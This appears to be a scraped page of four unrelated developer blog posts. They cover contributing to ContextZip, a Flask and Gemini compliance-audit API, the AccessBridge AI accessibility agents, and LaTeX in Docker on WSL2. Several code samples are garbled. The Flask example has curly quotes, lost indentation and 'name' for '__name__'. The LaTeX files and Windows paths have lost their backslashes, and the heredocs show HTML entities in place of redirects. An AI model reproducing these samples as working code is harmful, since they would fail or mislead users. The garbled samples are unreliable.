Contributing to ContextZip: Good First Issues for Beginners

ContextZip is open source, MIT-licensed, and actively looking for contributors. If you’ve been wanting to contribute to a Rust project, here are concrete ways to start.

Good First Issues

1. Add a new CLI command pattern. ContextZip has 102 command-specific noise patterns. But there are thousands of CLI tools. If you use a tool that produces noisy output, adding its pattern is a great first contribution.

What you’d do:

  • Add a test case with the raw output
  • Add the expected filtered output
  • Write the pattern match in Rust

Each pattern is typically 10-30 lines of Rust. The existing patterns serve as templates.

2. Improve stack trace detection for a language. ContextZip supports Node.js, Python, Rust, Go, Java, and C#. If you know a language whose framework paths aren’t recognized, you can add them.

Example: adding Phoenix framework paths for Elixir tracebacks, or Rails paths for Ruby.

3. Add benchmark data. Run ContextZip on your real project and share the before/after numbers. Benchmark data from diverse projects helps us understand where ContextZip works well and where it needs improvement.

4. Documentation improvements. The README, examples, and inline docs can always be clearer.

The Test Suite

ContextZip has 1,056 tests. Every pattern has tests. Every filter has tests. When you add a new pattern, you add its tests too. The CI runs all tests on every PR.

git clone https://github.com/contextzip/contextzip
cd contextzip
cargo test

All tests should pass. If they don’t, that’s a bug worth reporting.

How to Start

cargo install contextzip
eval "$(contextzip init)"

Use it for a week. Notice which commands still produce noise. File an issue or open a PR.

GitHub: github.com/contextzip/contextzip

Part of the ContextZip Daily series. Follow for daily tips on optimizing your AI coding workflow.

Install: npx contextzip | GitHub: jee599/contextzip

I built an AI agent that audits businesses for Australian compliance — architecture + economics

# I built an AI agent that audits businesses for Australian compliance law — here's the architecture

Hey everyone! I wanted to share a side project I've been working on: an AI agent that audits businesses for compliance with Australian laws. It's still very much a work in progress, but I'm pretty excited about it, and I thought some of you might find the architecture interesting.

## The Problem: SMEs are drowning in compliance regulations

Running a small business in Australia is tough. Beyond the usual challenges, there's a mountain of compliance regulations to navigate.  Things like ABN registration, GST obligations, data privacy (the Privacy Act), workplace health and safety (WHS), and industry-specific licenses can be overwhelming.  Many SMEs simply don't know what they need to comply with, and the cost of hiring a lawyer or consultant to figure it out is often prohibitive.

## The Solution: Gemini-powered audit pipeline

My idea was simple: use a large language model (LLM) to analyze a business's activities and identify relevant compliance obligations. I chose Gemini (specifically Gemini 1.5 Pro) because of its context window size and relatively good performance with Australian legal jargon.

The agent takes a description of the business as input (e.g., "A small online store selling handmade jewelry") and outputs a list of relevant compliance areas, along with brief explanations and links to official government resources.

## Architecture: Flask API → Gemini → structured JSON → email delivery

The system is built around a fairly straightforward architecture:

1.  **Flask API:** A simple Flask API exposes a single endpoint that accepts a business description as input.
2.  **Gemini Integration:** The API sends the business description to Gemini 1.5 Pro via the Google AI Python SDK.  I've crafted a prompt that instructs Gemini to analyze the description and return a JSON object containing the audit results.
3.  **Structured JSON Output:** Gemini returns a JSON object with a standardized format, including fields for compliance area, description, relevant laws, and links to resources.
4.  **Email Delivery:** The API formats the JSON output into a human-readable email and sends it to the user.

Here's a simplified version of the Python code I'm using:

python
from flask import Flask, request, jsonify
import google.generativeai as genai
import os
import json
from sendgrid import SendGridAPIClient
from sendgrid.helpers.mail import Mail

app = Flask(name)

genai.configure(api_key=os.environ[“GOOGLE_API_KEY”])
model = genai.GenerativeModel(‘gemini-1.5-pro’)

def generate_audit(business_description):
prompt = f”””
You are a compliance auditor for Australian businesses. Analyze the following business description and identify relevant compliance areas.
Return a JSON object with the following format:
{{
“compliance_areas”: [
{{
“area”: “Name of compliance area (e.g., ABN Registration)”,
“description”: “Brief explanation of the compliance area”,
“relevant_laws”: “List of relevant Australian laws (e.g., A New Tax System (Australian Business Number) Act 1999)”,
“resources”: “Link to official government resources”
}}
]
}}

Business Description: {business_description}
"""
response = model.generate_content(prompt)
try:
    return json.loads(response.text)
except json.JSONDecodeError:
    return {"error": "Failed to parse JSON response from Gemini"}

def send_email(email_address, audit_results):
# SendGrid email logic (omitted for brevity)
pass

@app.route(‘/api/v1/audit’, methods=[‘POST’])
def audit():
data = request.get_json()
business_description = data.get(‘business_description’)
email_address = data.get(’email_address’)

if not business_description or not email_address:
    return jsonify({"error": "Missing business_description or email_address"}), 400

audit_results = generate_audit(business_description)

if "error" in audit_results:
    return jsonify(audit_results), 500

send_email(email_address, audit_results)

return jsonify({"message": "Audit completed and sent to your email address."}), 200

if name == ‘main‘:
app.run(debug=True)


Here's an example of how to call the API using `curl`:

bash
curl -X POST
https://theepic.shop/api/v1/audit
-H ‘Content-Type: application/json’
-d ‘{
“business_description”: “A small online store selling handmade jewelry from home in Victoria”,
“email_address”: “[email protected]“
}’


## The AEA Cost Model: π = revenue - (c_tokens + c_API)

I'm using a simplified cost model to track the profitability of each audit.  It boils down to:

π = revenue - (c_tokens + c_API)

Where:

*   π = Profit per audit
*   revenue = Revenue generated per audit (currently zero, it's a free service)
*   c_tokens = Cost of Gemini tokens used for the audit.
*   c_API = Cost of SendGrid API calls for email delivery (negligible).

## Actual Results: cost per audit ~$0.0003 USD, margin ~99%

The amazing thing is how cheap it is to run these audits.  Gemini is surprisingly efficient.  I've been running tests with different business descriptions, and the average cost per audit is around **$0.0003 USD**.  Since I'm offering the audit for free right now, my margin is technically negative, but the potential for monetization is huge.  If I were to charge even a dollar per audit, the margin would be over 99%.

Of course, this doesn't factor in development time, hosting costs, etc. But it highlights the power of LLMs to automate tasks at scale.

## Try it out!

If you're curious, you can try the audit tool here: [https://theepic.shop/audit/](https://theepic.shop/audit/)

And the API is available at: [https://theepic.shop/api/v1/](https://theepic.shop/api/v1/)

I'm still actively developing this project, so any feedback or suggestions are welcome!  I'm particularly interested in ideas for improving the accuracy of the audit results and finding ways to monetize the service without being predatory towards small businesses.  Let me know what you think!

Building AccessBridge AI: How 5 AI Agents Collaborate to Make the Web Accessible

Built for the JS AI Build-a-thon 2026 — Agents for Impact

The Problem That Inspired Us

96.3% of the top million websites fail basic accessibility standards.

That statistic, from the 2024 WebAIM Million report, stopped me cold. We’re not talking about edge cases or rare corner cases — we’re talking about the overwhelming majority of the web being effectively inaccessible to 1.3 billion people who live with some form of disability.

The tools that exist today are part of the problem. Axe, WAVE, Lighthouse — these are excellent auditors. They’ll tell you that you have 23 accessibility violations. What they won’t do is fix a single one of them. The burden always falls back on the developer, who may not have the time, budget, or expertise to address every flag.

We wanted to change the question from “Where are the problems?” to “Here’s the fixed version — would you like to use it?”

That’s AccessBridge AI.

What We Built

AccessBridge AI is a multi-agent system where 5 specialized AI agents collaborate in real-time to transform any web page into universally accessible content. You paste a URL. Fifteen seconds later, you get back:

  • An accessibility score (before and after) on a 0-100 scale
  • A list of every issue found, with the agent that found it and the confidence score
  • An automatically transformed HTML file with fixes applied
  • A full decision log explaining every choice the system made
  • A WCAG breakdown across all four principles: Perceivable, Operable, Understandable, Robust

When you analyze a URL, here’s what happens under the hood:

  1. The Orchestrator fetches the HTML server-side (15s timeout, custom User-Agent)
  2. The Scanner, Vision, Simplifier, and Navigator agents all run in parallel
  3. The Orchestrator resolves conflicts between agents (more on this below)
  4. High-confidence fixes are automatically applied to the HTML
  5. Low-confidence suggestions are flagged for human review
  6. Scores are calculated and the full result is returned to the UI

On our test runs: average score improvement of +31 to +42 points, depending on how accessibility-challenged the original page was.

Architecture Deep Dive

The BaseAgent Contract

Every agent in the system implements a single interface:

export interface BaseAgent {
  name: string;
  type: AgentType;
  description: string;
  analyze(html: string, url: string, context?: any): Promise<AgentResult>;
}

That’s it. Every agent receives raw HTML and a URL, and returns a structured AgentResult containing issues found, fixes proposed, metadata, and a confidence score. This contract is what makes the system composable — swapping the cloud Vision agent for an offline heuristic agent requires zero changes to the Orchestrator.

The AgentResult shape:

export interface AgentResult {
  agentType: AgentType;
  status: AgentStatus;
  issues: AccessibilityIssue[];
  fixes: Array<{
    selector: string;
    attribute?: string;
    oldValue: string;
    newValue: string;
    reason: string;
  }>;
  metadata: Record<string, any>;
  startTime: number;
  endTime: number;
  confidence: number;
}

Every fix carries a selector (CSS selector targeting the element), the old value, the new value, and — critically — a human-readable reason. This is what powers the Decision Log in the UI.

The isEnhancement Flag: An Honest Score Model

This is one of the subtler design decisions that took three iterations to get right.

The problem: Vision and Simplifier agents find opportunities — images that could have better alt text, paragraphs that could be simpler. These aren’t pre-existing defects that the website owner created. They’re improvements AccessBridge can make. If we counted them in the scoreBefore calculation, we’d be artificially penalizing the site for things it never claimed to do.

The solution: an isEnhancement flag on AccessibilityIssue.

export interface AccessibilityIssue {
  // ...
  fixApplied: boolean;
  confidence: number;
  /** True for Vision / Simplifier issues that represent *improvements*
   *  AccessBridge found, not pre-existing defects. These are shown in the
   *  UI but never penalise scoreBefore, and their fixes (if applied)
   *  add to scoreAfter. */
  isEnhancement?: boolean;
}

The scoring model then becomes additive — honest and non-decreasing:

// scoreBefore: only real pre-existing defects (Scanner + Navigator)
function calcScoreBefore(issues: IssueLike[]): number {
  const baseline = issues.filter(
    i => !i.isEnhancement &&
         (i.agentType === AgentType.SCANNER || i.agentType === AgentType.NAVIGATOR),
  );
  let score = 100;
  for (const i of baseline) {
    if (i.severity === 'critical')    score -= 10;
    else if (i.severity === 'major')  score -= 5;
    else                              score -= 2;
  }
  return Math.max(0, Math.min(100, score));
}

// scoreAfter: scoreBefore + points earned per applied fix
const FIX_POINTS = {
  vision:     3,  // contextual alt text
  navigator:  4,  // structural fixes have high WCAG impact
  simplifier: 2,  // readability improvements
  scanner:    3,
};

function calcScoreAfter(issues: IssueLike[], before: number): number {
  let gain = 0;
  for (const i of issues) {
    if (!i.fixApplied) continue;
    gain += FIX_POINTS[i.agentType] ?? 2;
  }
  return Math.max(0, Math.min(100, before + gain));
}

Navigator gets the highest fix points because structural changes — adding landmark regions, fixing heading hierarchy, inserting skip links — have the biggest real-world impact for keyboard and screen reader users.

Parallel Execution via Promise.all

All four specialist agents run concurrently. The Orchestrator wraps each in a try/catch so one failing agent (e.g., Azure timeout) doesn’t bring down the entire analysis:

const settled = await Promise.all(
  this.agents.map(async (agent) => {
    this.emitEvent({
      timestamp: Date.now(),
      agentType: agent.type,
      status: AgentStatus.WORKING,
      message: `${agent.name} started analyzing…`,
    });

    try {
      const result = await agent.analyze(html, url);
      this.emitEvent({
        timestamp: Date.now(),
        agentType: agent.type,
        status: AgentStatus.DONE,
        message: `${agent.name} found ${result.issues.length} issues`,
        data: { issueCount: result.issues.length, fixCount: result.fixes.length },
      });
      return result;
    } catch (error) {
      const msg = error instanceof Error ? error.message : String(error);
      this.emitEvent({
        timestamp: Date.now(),
        agentType: agent.type,
        status: AgentStatus.ERROR,
        message: `${agent.name} failed: ${msg}`,
      });
      return null;
    }
  })
);

Each emitEvent call feeds the real-time agent timeline in the UI via an EventEmitter pattern — the Orchestrator extends Node’s EventEmitter, and the API route streams events back to the browser using a readable stream.

The Conflict Resolution Engine

Agents running in parallel will inevitably step on each other’s toes. We handle two conflict types:

Type 1: Same WCAG rule, same element, different agents.
The Scanner might flag img:nth-of-type(3) for missing alt text (WCAG 1.1.1), and so might the Navigator. We deduplicate by keeping the first reporter:

const seenIssues = new Map<string, { agentType: AgentType }>();

for (const result of results) {
  for (const issue of result.issues) {
    const key = `${issue.selector}::${issue.wcagRule}`;
    const existing = seenIssues.get(key);

    if (existing && existing.agentType !== result.agentType) {
      // Log conflict, first-reporter wins
      conflicts.push({ winner: existing.agentType, reasoning: 'First-reporter wins' });
    } else if (!existing) {
      seenIssues.set(key, { agentType: result.agentType });
    }
  }
}

Type 2: Vision vs Simplifier — the context preservation conflict.
This is the interesting one. Imagine Vision generates the alt text: “Promotes transforming your future through education and growth opportunities” for an image inside a paragraph. Then Simplifier comes along and rewrites that paragraph to be shorter. Now the alt text no longer makes sense in context — screen reader users would hear the simplified text followed by the original (now out-of-context) alt text.

Our rule: Vision always wins over Simplifier on the same element. If a Vision-fixed image lives inside a paragraph that Simplifier wants to rewrite, that paragraph is blocked:

// Find text blocks where Vision has fixed an img inside
for (const simplFix of simplifierResult.fixes) {
  const $block = $(simplFix.selector).first();

  for (const imgSel of visionImgSelectors) {
    if ($block.find(imgSel).length > 0) {
      // Vision wins — block the Simplifier fix
      blockedSimplifierSelectors.add(simplFix.selector);
      conflicts.push({
        winner: AgentType.VISION,
        reasoning:
          'Alt text generated by Vision Agent is calibrated to the image's ' +
          'surrounding context. Rewriting that context could make the alt text ' +
          'misleading for screen reader users.',
      });
    }
  }
}

This conflict — and its resolution — is recorded in the Decision Log and surfaced in the Responsible AI panel so users can understand why a particular fix wasn’t applied.

The Secret Sauce: Contextual Alt Text

The Vision Agent is where Azure OpenAI earns its place in the system.

Most accessibility scanners will tell you: “This image has no alt text.” The best ones will say: “Add meaningful alt text.” But what does “meaningful” mean for a specific image on a specific page?

Before even calling the API, we extract rich context from the DOM:

interface ExtractedContext {
  imageUrl: string;
  filename: string;
  imageType: 'decorative' | 'functional' | 'informative';
  heading: string;         // nearest ancestor or preceding h1-h6
  surroundingText: string; // text content of parent element
  caption: string;         // figcaption if present
  linkText: string;        // text of wrapping <a> if present
  title: string;           // title attribute
  selector: string;
  snippet: string;         // the raw HTML element
  currentAlt: string | undefined;
}

The agent classifies each image into one of three roles:

  • Decorative — purely visual, no information content → alt="" (handled by Scanner)
  • Functional — inside a link or button → alt text describes the destination/action
  • Informative — content image → alt text describes what the image communicates

This role classification shapes the system prompt sent to GPT-4o:

You are an accessibility expert generating alt text for a web image.

Image role: FUNCTIONAL (this image is inside a link or button)
For functional images, describe the DESTINATION or ACTION, not just what you see.
Generate alt text that a screen reader user would find helpful.

RULES:
- Be concise (under 125 characters)
- Describe PURPOSE, not visual appearance
- If it's functional, what does it DO or WHERE does it go?
- Do NOT start with "Image of", "Picture of", "Photo of"
- Do NOT include quotes in your response

Context:
- Surrounding text: "Learn more about our engineering bootcamp programs"
- Link text: "Apply now"
- Nearest heading: "Transform Your Career in Tech"

Result: “Apply for engineering bootcamp — Transform Your Career in Tech”

Without this context, a generic vision model might return: “A button with text.”

The agent also penalizes its own confidence score when context is thin:

const hasContext = ctx.heading || ctx.surroundingText || ctx.caption || ctx.linkText;
confidence = hasContext ? 0.88 : 0.72;

A confidence below 0.5 means the fix is surfaced as a suggestion, never auto-applied. This is human-in-the-loop by design — the system acknowledges its own uncertainty.

Going Offline: Accessibility Without Internet

We built two fully functional modes from day one, and the offline mode is not a degraded fallback — it’s a genuine capability with a specific use case.

Why? Because the communities that most need accessibility tooling — nonprofits, government agencies in emerging markets, small educational institutions — often have unreliable or metered internet connectivity. A tool that stops working without cloud connectivity isn’t truly accessible.

Feature ☁️ Cloud 📡 Offline
Scanner (20+ WCAG rules) Full Full (same code)
Navigator (structure) Full Full (same code)
Vision (alt text) AI-powered via GPT-4o 5-tier heuristic
Simplifier (readability) AI rewriting Deterministic splitting
Typical speed ~12 seconds ~2 seconds
Privacy Processed via Azure Zero external requests

The Offline Vision Heuristic

When no API key is present, the Vision agent falls back to a 5-tier priority system:

Tier 1: <img> inside <a>
  → "Link to {link text}" or "Link to {domain name}"
  Rationale: functional images communicate navigation intent

Tier 2: <figure> with <figcaption>
  → Use the caption verbatim (the author already wrote it)

Tier 3: Meaningful filename
  → "hero-education-program.jpg" → "Hero education program image"
  (strip extension, convert hyphens/underscores to spaces, title-case)

Tier 4: Nearest heading in the DOM
  → "Image related to: {heading text}"

Tier 5: Image URL domain
  → "Image — cdn.example.com"

All offline Vision issues are marked isEnhancement: true with confidence 0.5, which means they’re auto-applied (the threshold is ≥ 0.5) but don’t penalize the before-score.

The Offline Simplifier

The offline Simplifier uses a deterministic algorithm instead of calling GPT-4o. For any <p> element with a sentence over 30 words, it attempts a three-pass split:

Pass 1 — Natural break (comma near midpoint):
  Find the comma closest to the ±30% midpoint of the sentence.
  "The program, which was founded in 2019, has helped over 1,000 students..."
  → "The program, which was founded in 2019, has helped over 1,000 students..."
  → Split at comma before "has"

Pass 2 — Conjunction split:
  Find the first coordinating/subordinating conjunction after the midpoint:
  (and, but, which, because, however, although, while, whereas...)
  → Split before the conjunction, add a period

Pass 3 — Hard midpoint:
  If no natural break found, split at the word nearest the midpoint.
  (Last resort — preserves meaning better than cutting arbitrarily)

Result on Wikipedia: Cloud mode +37 pts, Offline mode +31 pts. The gap is real but smaller than you’d expect.

Responsible AI: Not an Afterthought

We made a deliberate decision early: transparency and human oversight are architectural requirements, not features we’d add later.

Every AgentEvent is timestamped and stored:

export interface AgentEvent {
  timestamp: number;
  agentType: AgentType;
  status: AgentStatus; // WORKING | DONE | ERROR | CONFLICT
  message: string;
  data?: any;
}

The Decision Log in the UI renders every event — including conflicts — in chronological order. Conflict events are highlighted in amber. The Responsible AI panel shows:

  • Transparency: total number of agent decisions logged
  • Human-in-the-Loop: count of suggestions vs auto-applied fixes
  • Confidence Scoring: breakdown of high/medium/low confidence fixes per agent
  • Privacy: mode used and data retention policy (none — all processing is ephemeral)

The confidence threshold for auto-apply is explicitly ≥ 0.5. Anything below that is shown as a suggestion with a reason: “Confidence 0.42 — flagged for human review.”

This design reflects a real belief: AI systems that affect people’s lives — and accessibility directly affects how 1.3 billion people experience the web — need to be auditable, explainable, and humble about their own limitations.

Building with AI: Our Claude Code Workflow

This section is the most honest part of this post.

We used Claude Code (Anthropic’s CLI coding assistant) for the vast majority of this project. Here’s what that actually looked like, warts included.

What Worked Exceptionally Well

Generating the type system. We gave Claude Code the exact interfaces we wanted and it produced clean, idiomatic TypeScript on the first try. The AccessibilityIssue, AgentResult, and AnalysisResult interfaces required almost no revision.

The Scanner Agent. We asked for a WCAG 2.1 auditor covering all four principles. Claude generated 20+ detection rules using cheerio, each wrapped in its own try/catch, with proper severity and WCAG rule codes. This would have taken a week to research and write manually.

UI components with specific constraints. When we described the exact visual behavior we wanted — “a segmented control using visually-hidden radio inputs, two options, with an offline disclaimer that animates in with aria-live=’polite'” — we got exactly that. No hallucinated React libraries, no unnecessary dependencies.

Debugging TypeScript errors across a multi-agent system. When we hit a TS2322 error about IssueSeverity string literals, we described the error and the surrounding code, and got the right fix immediately: import the enum and use IssueSeverity.MAJOR instead of the string 'major'.

What Didn’t Work (At First)

The scoring algorithm needed three iterations to get right.

Our first attempt: a single calcScore(issues, afterFixes: boolean) function that counted all issues and tried to subtract fixed ones. When we tested in offline mode, scores were going down — from 72 to 51 — because Vision and Simplifier were generating issues that got counted against the baseline.

Second attempt: separate before/after calculations. Better, but still wrong — the “after” score was recounting all unfixed issues instead of adding earned points.

Third attempt: the additive model with isEnhancement flag described above. The key insight was identifying why the model was wrong, not just that it was wrong.

The lesson: AI-assisted coding works best when you can articulate the bug precisely. “The offline score goes down” didn’t help. “The before-score counts Vision issues that are improvements, not defects — they shouldn’t appear in the baseline” produced an exact, correct solution.

Complex cheerio selectors were brittle.

Early versions of the agents generated selectors like div.container > section:first-child > img:nth-child(3). These worked on the test page but broke on real sites. We had to manually establish the selector priority rule (id > class > src attribute > nth-of-type) and explain it precisely before the generated code became stable.

Conflict resolution logic needed manual refinement.

The initial conflict resolution was purely deduplication. The Vision-vs-Simplifier context preservation conflict — where rewriting a paragraph could make an adjacent alt text misleading — was a design decision we arrived at ourselves, then asked Claude to implement. The “what” came from us; the “how” came from Claude.

Our Prompting Strategy

The difference between a prompt that works and one that doesn’t, in our experience:

Specify the interface, not just the behavior.
Instead of: “Create a Scanner Agent that checks accessibility”
We used: “Create a Scanner Agent that implements the BaseAgent interface below. It should use cheerio to parse the HTML and detect these specific WCAG violations, returning issues with these exact fields…”

Describe bugs with reproduction steps, not symptoms.
Instead of: “The score is wrong”
We used: “The scoreBefore function at line 35 is including Vision agent issues (marked isEnhancement: true) in its baseline count. These should be excluded. The fix should modify the filter condition to check !i.isEnhancement && before the agentType check.”

Iterate on real output, not hypothetical code.
We ran the app, analyzed a real URL, saw the output, identified what was wrong, then described that specific wrong output and the expected correct output. Every iteration was grounded in real behavior.

Example prompts we used:

Create the Vision Agent in /src/agents/vision.ts. It must implement BaseAgent.
It should:
1. Use cheerio to find all <img> elements with missing or generic alt text
2. For each image, extract this context object: [interface definition]
3. Call Azure OpenAI with this exact system prompt: [prompt text]
4. Mark each issue with isEnhancement: true and confidence: 0.85
5. Fall back to generateFallbackAlt() if Azure is not configured
The fallback function should try: linkText → figcaption → filename → heading → domain
There is a TypeScript error in orchestrator.ts line 482:
  Type 'string' is not assignable to type 'IssueSeverity'
The line reads: issue.severity = 'major';
Fix it by importing IssueSeverity from @/types/agents and using IssueSeverity.MAJOR.
Apply the same fix wherever 'critical' and 'minor' string literals are used.

Results

We tested on a range of real websites. Here’s a representative sample from a real run:

Test site: eduky.co (education platform)

  • Score before: 51 / 100
  • Score after: 93 / 100 (+42 points)
  • Issues detected: 21 across all 4 WCAG categories
  • Fixes auto-applied: 13 (high confidence)
  • Suggestions for review: 8 (lower confidence)
  • Analysis time (cloud): 14.4 seconds
  • Analysis time (offline): 1.6 seconds

WCAG Breakdown (before → after):

  • Perceivable: 48 → 89 (+41)
  • Operable: 71 → 85 (+14)
  • Understandable: 62 → 78 (+16)
  • Robust: 55 → 91 (+36)

Test site: Wikipedia (English article)

  • Score before: 68 / 100
  • Cloud mode score after: 105 → capped at 100 (+32 points)
  • Offline mode score after: 99 (+31 points)
  • Analysis time (cloud): 18.2 seconds (many images → many API calls)
  • Analysis time (offline): 2.1 seconds

The near-parity between cloud and offline on Wikipedia demonstrates that the heuristic offline agents are genuinely useful — most Wikipedia images follow predictable patterns (figures with captions, file-name-described diagrams) that the heuristic system handles well.

What’s Next

AccessBridge AI was built in five days for a hackathon. Here’s where we’d take it with more time:

Browser Extension — Run AccessBridge directly in the browser without pasting URLs. Inject the transformed HTML into the current tab so users can see the before/after in situ.

CI/CD Integration — An API endpoint that returns a machine-readable WCAG report and exits non-zero when critical violations are detected. Plug it into your GitHub Actions pipeline: no PR gets merged if it regresses accessibility.

Foundry Local Integration — Replace the offline heuristics with actual on-device AI inference using Azure AI Foundry Local and Phi-4. True intelligence without any internet dependency.

Multi-language Support — The Simplifier currently targets English readability (Flesch-Kincaid). Extending to Spanish, French, and Portuguese would dramatically expand the tool’s impact in underserved markets.

Accessibility Score Tracking — Store historical scores per domain. Show a site owner their accessibility trend over time, not just a single snapshot.

Try It Yourself

🚀 Live Demo

📦 GitHub Repository

Drop any public URL into the analyzer and watch 5 agents work in real time. Try it on:

  • A site you own (and care about improving)
  • https://example.com (a minimal, intentionally bare page)
  • A Wikipedia article (rich with images, complex structure)
  • A government or nonprofit site (where accessibility matters most)

If the analysis finds something, the fixed HTML is available for download immediately.

Final Thoughts

Accessibility is one of those problems where the technical solution is well-understood and the barrier is almost entirely friction. We know what good alt text looks like. We know what heading hierarchy should be. We know what ARIA landmarks do. The problem is that fixing 47 violations across a 200-page website is a week of tedious work.

AI agents can absorb that friction. Not perfectly — our confidence scores and human-in-the-loop design reflect genuine humility about what the system can and can’t do reliably. But good enough, fast enough, that the decision for a small nonprofit to have an accessible website no longer has to be “we can’t afford the developer time.”

That’s the goal. Everything else is implementation details.

Built with ❤️ for the JS AI Build-a-thon 2026 — because the web should work for everyone.

— Juan Pablo Enriquez Ortiz

Set Up a LaTeX Environment in 10 Minutes with Docker on Windows

Introduction

Ever tried to set up LaTeX and got stuck before writing a single document?

When you install TeX Live directly, you run into path issues, version mismatches, and confusing configuration files. On top of that, the installation itself can take a very long time on Windows.

In this guide, I’ll show you how to set up a LaTeX environment using Docker — and it only takes about 10 minutes.

Why Docker?

  • Fast — In my experience, it took only about 10 minutes from start to finish
  • Simple — Just a few commands. No path configuration or version management headaches
  • Reproducible — Anyone can recreate the exact same environment. Easy to start over if something goes wrong
  • Clean — No massive TeX Live installation on your system. Everything stays inside the Docker container

Don’t worry if you’ve never used Docker before. Just follow the steps in this guide, and you’ll be compiling LaTeX documents in no time.

Note: This guide is based on my actual experience setting up LaTeX on a freshly reset Windows PC. I’ve included the gotchas and errors I encountered along the way, so hopefully you won’t have to struggle with the same issues.

Prerequisites

  • OS: Windows 10 (version 2004 or later) or Windows 11
  • RAM: 8 GB or more recommended
  • Storage: At least 5 GB of free space

That’s all you need.

Overview

There are three main steps:

1. Enable WSL2 (installs Ubuntu)
2. Install Docker on Ubuntu
3. Pull the LaTeX Docker image and start using it

Everything is done via the command line. No GUI installers needed.

Let’s get started.

Step 1: Enable WSL2

What is WSL2? How is it different from WSL?

WSL (Windows Subsystem for Linux) lets you run Linux on Windows. WSL2 is the second version.

WSL1 WSL2
How it works Translates Linux calls to Windows Runs a real Linux kernel in a lightweight VM
Performance Fast file I/O, but limited compatibility Near-native Linux performance, Docker support
Docker Not supported Supported

Docker requires WSL2. When you run wsl --install, it automatically installs WSL2, so you don’t need to worry about choosing.

1-1. Open PowerShell as Administrator

Search for “PowerShell” in the Start menu and select “Run as administrator”.

1-2. Install WSL2

Run the following command:

wsl --install

This enables WSL2 and installs Ubuntu in one step.

If WSL2 is already installed, you’ll see a message saying so. Just move on to the next step.

Getting “WSL install may be corrupted” error?

When I tried this on a freshly reset PC, I got a “WSL install may be corrupted” error after running wsl --install. Sometimes it appeared right away, sometimes after about a minute — so don’t panic if nothing happens for a bit.

The message says “Press any key to start WSL repair”, but it times out after 60 seconds. Press a key as soon as you see the message.

After the repair completes, run wsl --install again and it should work fine.

1-3. Set Up Ubuntu

After installation, you’ll be prompted to create a username and password. You can do this in PowerShell, but since we’ll be working in Ubuntu from here on, you can close PowerShell.

Search for “Ubuntu” in the Start menu and open it. You’ll be asked to set a username and password. Choose whatever you like (this is for Linux, separate from your Windows credentials).

Your password won’t show on screen as you type — not even ***. This is normal Linux security behavior. Just type your password and press Enter. You’ll be asked to confirm it by entering it again.

Step 2: Install Docker on Ubuntu

From here, work in the Ubuntu terminal. Open “Ubuntu” from the Start menu.

2-1. Update Packages

sudo apt update && sudo apt upgrade -y

What does “sudo” mean?

sudo means “run this command as administrator.” You’ll need it for installing software and making system changes. When prompted, enter the password you set in Step 1-3.

2-2. Install Docker

sudo apt install -y docker.io

2-3. Allow Your User to Run Docker Without sudo

By default, you need sudo for every Docker command. Fix that with:

sudo usermod -aG docker $USER

What does this command do?

usermod -aG docker $USER adds your current user to the docker group. Members of this group can run Docker commands without sudo.

Close the Ubuntu window and reopen it to apply the change.

I forgot to do this and got a permission denied error when running docker pull. Don’t skip this step!

2-4. Verify Docker Is Working

After reopening Ubuntu, check the Docker version:

docker --version

If you see a version number, you’re good.

If the Docker daemon isn’t running, start it with:

sudo service docker start

Step 3: Pull the LaTeX Docker Image

Still in the Ubuntu terminal.

3-1. Download the Image

docker pull k1z3/texlive

This takes 3-5 minutes on the first run since it’s downloading the full TeX Live environment. Grab a coffee while you wait.

3-2. Confirm the Download

docker images

You should see k1z3/texlive in the list:

REPOSITORY       TAG       IMAGE ID       CREATED        SIZE
k1z3/texlive     latest    xxxxxxxxxxxx   X months ago   X.XXGB

Step 4: Set Up a Project Folder

4-1. Create a Folder

mkdir ~/latex-project
cd ~/latex-project

How to access this folder from Windows Explorer

Type \wsl$UbuntuhomeYOUR_USERNAMElatex-project in the Explorer address bar. You can edit files using any Windows text editor (Notepad, VS Code, etc.).

4-2. Create the Required Files

Create these two files in the folder. Use your preferred editor.

Creating files from the Ubuntu terminal

Copy and paste these commands:

Create main.tex:

cat &lt;&lt; 'EOF' &gt; main.tex
documentclass{article}
begin{document}
Huge LaTeX
end{document}
EOF

Create .latexmkrc:

cat &lt;&lt; 'EOF' &gt; .latexmkrc
$latex = 'uplatex';
$dvipdf = 'dvipdfmx %O -o %D %S';
$pdf_mode = 3;
EOF

main.tex (your document):

documentclass{article}
begin{document}
Huge LaTeX
end{document}

.latexmkrc (build configuration):

$latex = 'uplatex';
$dvipdf = 'dvipdfmx %O -o %D %S';
$pdf_mode = 3;

What is .latexmkrc?

Compiling LaTeX involves running multiple commands in sequence. .latexmkrc is a configuration file that automates this process.

This configuration specifies:

  • uplatex — The LaTeX engine to use
  • dvipdfmx — Converts DVI format to PDF
  • $pdf_mode = 3 — Uses the uplatex -> dvipdfmx pipeline to generate PDFs

Your folder should look like this:

~/latex-project/
├── main.tex
└── .latexmkrc

Step 5: Compile and Generate a PDF

5-1. Make Sure You’re in the Project Folder

cd ~/latex-project

5-2. Run the Compiler

docker run --rm -v "$(pwd):/texsrc" -w /texsrc k1z3/texlive latexmk main.tex

What does this command mean?

Option Meaning
docker run Run a Docker container
--rm Automatically remove the container after it finishes
-v "$(pwd):/texsrc" Mount the current folder to /texsrc inside the container
-w /texsrc Set the working directory inside the container
k1z3/texlive The Docker image to use
latexmk main.tex The command to compile main.tex

5-3. Check the PDF

If compilation succeeds, main.pdf will be generated in your folder.

Open \wsl$UbuntuhomeYOUR_USERNAMElatex-project in Windows Explorer and double-click main.pdf. If you see “LaTeX” displayed in large text, it worked!

Troubleshooting

“docker: command not found”

Docker isn’t installed, or you haven’t reopened Ubuntu after Step 2-3. Close and reopen the Ubuntu window, then try again.

“permission denied”

You need to close and reopen Ubuntu after running sudo usermod -aG docker $USER in Step 2-3. The group change won’t take effect until you do.

If the error persists after reopening, check that the Docker daemon is running:

sudo service docker start

“Cannot connect to the Docker daemon”

The Docker daemon isn’t running. Start it with:

sudo service docker start

How to auto-start Docker on WSL2 startup

On WSL2, you may need to start the Docker daemon manually each time you open Ubuntu. To automate this, add the following to the end of your ~/.bashrc:

if service docker status 2&gt;&amp;1 | grep -q "is not running"; then
    sudo service docker start &gt; /dev/null 2&gt;&amp;1
fi

Note: You’ll also need to configure passwordless sudo for this to work silently. Search for “wsl2 docker auto start” for more details.

Summary

Here’s what we did:

  1. Enabled WSL2 (wsl --install)
  2. Installed Docker on Ubuntu (sudo apt install docker.io)
  3. Pulled the TeX Live image (docker pull k1z3/texlive)
  4. Created a project folder with .tex and config files
  5. Compiled with docker run

No need to install Docker Desktop or any other GUI application. Everything is done from the command line.

